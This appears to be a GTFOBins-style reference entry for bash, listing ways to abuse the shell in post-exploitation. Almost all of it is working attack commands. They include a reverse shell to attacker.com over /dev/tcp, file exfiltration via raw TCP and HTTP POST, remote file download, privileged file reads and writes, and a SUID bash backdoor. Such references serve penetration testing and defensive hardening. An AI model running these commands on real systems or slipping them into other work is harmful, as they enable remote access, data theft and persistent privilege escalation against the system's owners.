It can be used to break out from restricted environments by spawning an interactive system shell.
bash
It can send back a reverse shell to a listening attacker to open a remote network access.
Run nc -l -p 12345
on the attacker box to receive the shell.
export RHOST=attacker.com
export RPORT=12345
bash -c 'bash -i &>/dev/tcp/$RHOST/$RPORT 0<&1'
It can exfiltrate files on the network.
Send local file in the body of an HTTP POST request. Run an HTTP service on the attacker box to collect the file.
export RHOST=attacker.com
export RPORT=12345
export LFILE=file_to_send
bash -c 'echo -e "POST / HTTP/0.9\n\n$(<$LFILE)" > /dev/tcp/$RHOST/$RPORT'
Send local file using a TCP connection. Run nc -l -p 12345 > "file_to_save"
on the attacker box to collect the file.
export RHOST=attacker.com
export RPORT=12345
export LFILE=file_to_send
bash -c 'cat $LFILE > /dev/tcp/$RHOST/$RPORT'
It can download remote files.
Fetch a remote file via HTTP GET request.
export RHOST=attacker.com
export RPORT=12345
export LFILE=file_to_get
bash -c '{ echo -ne "GET /$LFILE HTTP/1.0\r\nhost: $RHOST\r\n\r\n" 1>&3; cat 0<&3; } \
3<>/dev/tcp/$RHOST/$RPORT \
| { while read -r; do [ "$REPLY" = "$(echo -ne "\r")" ] && break; done; cat; } > $LFILE'
Fetch remote file using a TCP connection. Run nc -l -p 12345 < "file_to_send"
on the attacker box to send the file.
export RHOST=attacker.com
export RPORT=12345
export LFILE=file_to_get
bash -c 'cat < /dev/tcp/$RHOST/$RPORT > $LFILE'
It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.
export LFILE=file_to_write
bash -c 'echo DATA > $LFILE'
This adds timestamps to the output file.
LFILE=file_to_write
HISTIGNORE='history *'
history -c
DATA
history -w $LFILE
It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.
It trims trailing newlines and it’s not binary-safe.
export LFILE=file_to_read
bash -c 'echo "$(<$LFILE)"'
The read file content is surrounded by the current history content.
LFILE=file_to_read
HISTTIMEFORMAT=$'\r\e[K'
history -r $LFILE
history
It runs with the SUID bit set and may be exploited to access the file
system, escalate or maintain access with elevated privileges working as a
SUID backdoor. If it is used to run sh -p
, omit the -p
argument on systems
like Debian that allow the default sh
shell to run with SUID privileges.
sudo sh -c 'cp $(which bash) .; chmod +s ./bash'
./bash -p
It runs in privileged context and may be used to access the file system,
escalate or maintain access with elevated privileges if enabled on sudo
.
sudo bash